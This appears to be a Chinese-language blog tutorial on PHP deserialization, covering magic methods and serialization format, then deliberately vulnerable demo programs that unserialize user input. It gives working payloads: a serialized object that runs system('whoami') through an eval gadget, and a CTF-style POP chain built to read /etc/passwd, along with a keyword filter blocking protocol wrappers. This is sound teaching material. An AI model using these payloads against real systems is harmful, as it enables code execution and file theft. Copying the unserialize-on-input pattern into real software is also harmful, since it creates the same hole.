返回
Featured image of post PHP 反序列化基础

PHP 反序列化基础

go!

反序列化漏洞还是非常有意思,值得学习,实践效果也非常不错,所以系统学习一下。

PHP反序列化基础

类与对象

PPH中的类和对象

<?php
class Person {
	public $name = "cool";
	public function haha() {
		echo $this->name.":hello!\n";
	}
}
$person1 = new Person();
$person1->haha();
?>

魔术方法

何为魔术方法?指的是:具备被应用自动调用的特性的一类方法(函数),即触发了某事件前或后,魔术方法将自动调用执行,而一般函数必须手动调用。PHP将以"__“为开头的类方法保留为魔术方法。

常见的魔术方法:

方法名称 作用
__get 原本类中的私有属性是无法直接访问的,PHP使用了该方法帮助获取私有属性,因此在调用私有属性或者该类不拥有的属性的时候会自动执行
__set 在设置不可访问属性的值时,即在调用私有属性的时候会自动执行
__toString 当对象被当做一个字符串使用时调用(返回一个该类被当作字符串使用时所能替代的字符串)
__sleep 序列化对象之前调用(返回一个包含应被序列化的属性的数组)
__wakeup 反序列化对象之前调用
__call 该方法在调用的方法不存在时会自动调用,程序仍会继续执行下去
__isset 当对不可访问属性调用 isset()或empty()时会被调用
__unset 当对不可访问属性调用unset()时会被调用
__invoke 当脚本尝试将对象调用为函数时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发

魔术方法举例:

<?php
class Person {
	private $name = "cool";
	public function haha() {
		echo "\n".$this->name.":hello!\n";	
	}
	

	
	public function __wakeup() {
		echo "\n __wakeup method!\n";
	}
	
	public function __construct() {
		echo "\n __construct method!\n";
	}
	
	public function __destruct() {
		echo "\n __destruct method!\n";
	}
	
	public function __set($key, $value) {
		echo "\n __set method!\n";
	}
	
	public function __get($key) {
		echo "\n __get method!\n";
	}
	
	public function __toString() {
		echo "\n __toString method!\n";
	}
}

$person1 = new Person();
$person1->name = "new cool";
echo $person1->name;
$ser_person1 = serialize($person1);
$unser_person1 = unserialize($ser_person1);
print_r($unser_person1);
?>

注:

print_r接受对象类型,所以未调用__toString,如果使用print或echo函数,则会发生调用;

反序列化后产生两个对象,随后两个对象都消亡,调用两次__destruct;

序列化定义

序列化指将对象或数据结构转换为可存储形式(字符串)的过程。目的是为了更方便存储和传输数据结构或对象。

PHP序列化方法:

serialize()、json_encode()

序列化例子:

<?php
class Person {
	public $name = "cool";
	private $age = "18";
	protected $sex = "boy";
	public function say() {
		echo $this->name.":hello!\n";
	}
}
$person1 = new Person();
$ser_person1 = serialize($person1);
print($ser_person1);
?>

含义解释:

类:类名长度:“对应类型”:类的属性数量:{类型:属性名长度:“属性名”;类型:属性值长度:“属性值”;……}

注:

发现private属性和protected属性在序列化时,属性名和属性长度与public属性不同

  • private属性在序列化时,属性名变为:\x00 + 属性所在类名 + \x00 + 属性名;属性名长度相应改变
  • protected属性在序列化时,属性名变为:\x00 + * + \x00 + 属性名

反序列化定义

将序列化后的字符串转换为原有数据结构或对象的过程。

PHP反序列化方法:

unserialize()、json_decode()

举例:

// 将之前例子序列化后的字符串还原为对象
<?php
class Person {
	public $name = "cool";
	private $age = "18";
	protected $sex = "boy";
	public function say() {
		echo $this->name.":hello!\n";
	}
}

$ser = 'O:6:"Person":3:{s:4:"name";s:4:"cool";s:3:"age";s:2:"18";s:3:"sex";s:3:"boy";}';
$unser = unserialize($ser);
var_dump($unser);
?>

反序列化漏洞

反序列化漏洞就在于攻击者控制外部输入,实际攻击者可控的只是任意类对象的属性而不是方法,所以必须选择控制那些存在魔术方法(自动调用),且方法中含有可以利用函数的类。最终实现从操控对象属性到操控敏感函数的目的。

示例

<?php
class A {
    private $test;
    function __construct() {
        $this->test = new B();
    }

    function __destruct() {
        $this->test->say();
    }
}

class B {
    function say() {
        echo "haha!";
    }
}

class Evil {
    var $test1;
    function say() {
        eval($this->test1);
    }
}

unserialize($_GET['test']);
>?
  • 分析

首先可以明确unserialize函数的参数是外部获取,即我们可以控制反序列化任何类对象。分析当前的三个类,在B类和Evil类中,我们无法调用其中的方法,没有什么意义,但可以明确Evil类方法中存在eval危险函数。

观察A类,其存在__construct构造函数和__destruct析构函数,在构造函数中修改test属性为B类的对象,析构函数中调用了其test属性的say()方法,而Evil类中的say()方法却调用了执行命令的函数。

因此思路比较明确:只要我们反序列化时,修改A类的test属性为Evil类对象,则在A类对象销毁时会调用Evil类中的say(),从而实现反序列化执行任意命令。

  • payload
<?php
class A {
    private $test;
    function __construct()
    {
        $this->test = new Evil();
    }
}

class Evil {
    var $test1 = "system('whoami');"
}

$A = new A();
$payload = serialize($A);
var_dump($payload);
?>

序列化生成payload:

注意不要丢掉private属性的属性名中的%00

O:1:"A":1:{s:7:"%00A%00test";O:4:"Evil":1:{s:5:"test1";s:17:"system('whoami');";}}

PHP反序列化POP链

POP链

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击效果

实际上ROP 是通过栈溢出实现控制指令的执行流程;而反序列化就是通过控制对象的属性从而实现控制程序的执行流程。

示例

<?php
//flag is in flag.php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
    {
        return $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) 		 {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }
    }

    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('pop3.php');
    $show->_show();
}
?>

分析并寻找POP链:

  • 先找外部可控的反序列化入口:unserialize($_GET['hello']);
  • 分析各类的魔术方法
  • Show类中存在__wakeup()方法,其中对source属性调用preg_match()方法,如果source是某个类对象,会触发__toString()方法
  • Show类__toString()方法从str属性中取str键,如果果str['str']是某一个类对象,会触发__get()方法
  • Test类中存在__get()方法,其中尝试对p属性进行函数调用,如果p属性是某个类对象,会触发__invode()方法
  • Read类中存在__invoke()方法,其中调用方法去读取var属性值的文件内容。因此,为了获取flag.php,可让var=flag.php

基于以上分析,编写脚本生成payload:

<?php
class Read {
    public $var = '/etc/passwd';
}

class Show {
    public $source;
    public $str;
}

class Test {
    public $p;
}

$R = new Read();
$S = new Show();
$T = new Test();
$T->p = $R;
$S->str['str'] = $T;
$S->source = $S;
var_dump(serialize($S));

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy